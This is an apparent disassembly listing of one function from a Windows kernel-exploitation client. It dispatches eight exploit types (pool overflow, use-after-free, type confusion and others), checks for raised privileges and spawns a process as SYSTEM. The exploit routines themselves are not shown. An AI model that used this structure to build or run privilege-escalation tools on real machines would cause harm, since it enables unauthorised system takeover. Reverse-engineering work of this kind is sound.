Function at 0x401960
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x5c]
push ebx
push eax
mov dword [ebp - 0x60], ebx
call sub.MSVCR100.dll_memset
mov esi, dword [edi]
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x18], ebx
push ebx
mov ebx, dword [sym.imp.MSVCR100.dll__time64]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call ebx
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
cmp esi, 7
ja case.default.0x4019a7
jmp dword [esi*4 + 0x401ba4]
push str.___Starting_Pool_Overflow_Exploitation_n
push 7
call fcn.00401380
push 0x402300
call fcn.00401810
add esp, 0xc
push str.___Completed_Pool_Overflow_Exploitation_n
jmp 0x401ab5
push str.___Starting_Use_After_Free_Exploitation_n
push 7
call fcn.00401380
push 0x402ff0
call fcn.00401810
add esp, 0xc
push str.___Completed_Use_After_Free_Exploitation_n
jmp 0x401ab5
push str.___Starting_Type_Confusion_Exploitation_n
push 7
call fcn.00401380
push 0x402cc0
call fcn.00401810
add esp, 0xc
push str.___Completed_Type_Confusion_Exploitation_n
jmp 0x401ab5
push str.___Starting_Stack_Overflow_Exploitation_n
push 7
call fcn.00401380
push 0x4027c0
call fcn.00401810
add esp, 0xc
push str.___Completed_Stack_Overflow_Exploitation_n
jmp 0x401ab5
push str.___Starting_Integer_Overflow_Exploitation_n
push 7
call fcn.00401380
push 0x401db0
call fcn.00401810
add esp, 0xc
push str.___Completed_Integer_Overflow_Exploitation_n
jmp 0x401ab5
push str.___Starting_Stack_Overflow_GS_Exploitation_n
push 7
call fcn.00401380
push 0x4029f0
call fcn.00401810
add esp, 0xc
push str.___Completed_Stack_Overflow_GS_Exploitation_n
jmp 0x401ab5
push str.___Starting_Arbitrary_Memory_Overwrite_Exploitation_n
push 7
call fcn.00401380
push section..text
call fcn.00401810
add esp, 0xc
push str.___Completed_Arbitrary_Memory_Overwrite_Exploitation_n
jmp 0x401ab5
push str.___Starting_Null_Pointer_Dereference_Exploitation_n
push 7
call fcn.00401380
push 0x401ff0
call fcn.00401810
add esp, 0xc
push str.___Completed_Null_Pointer_Dereference_Exploitation_n
push 7
call fcn.00401380
add esp, 8
push str.___Checking_Current_Process_Privileges_n
push 7
call fcn.00401380
add esp, 8
call fcn.004018a0
test eax, eax
jne 0x401aee
push str._t____Failed_To_Elevate_Privileges_Of_Current_Process_n
push 4
call fcn.00401380
add esp, 8
push 1
call dword [sym.imp.MSVCR100.dll_exit]
push str._t___Successfully_Elevated_Current_Process_Privileges_n
push 7
call fcn.00401380
mov ecx, 5
push 0
mov word [ebp - 0x30], cx
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
call ebx
mov ecx, dword [ebp - 4]
add esp, 0xc
push ecx
mov ecx, dword [ebp - 8]
push ecx
push edx
push eax
call dword [sym.imp.MSVCR100.dll__difftime64]
fstp qword [esp + 8]
add esp, 8
push str.___Enjoy_As_SYSTEM___f_s_n_n
push 7
call fcn.00401380
mov ecx, dword [edi + 4]
add esp, 0x10
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401b80
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_to_Create_Target_Process:_0x_X_n
push 4
call fcn.00401380
add esp, 0xc
push 1
call dword [sym.imp.MSVCR100.dll_exit]
mov edx, dword [ebp - 0x18]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x18]
push ecx
call esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret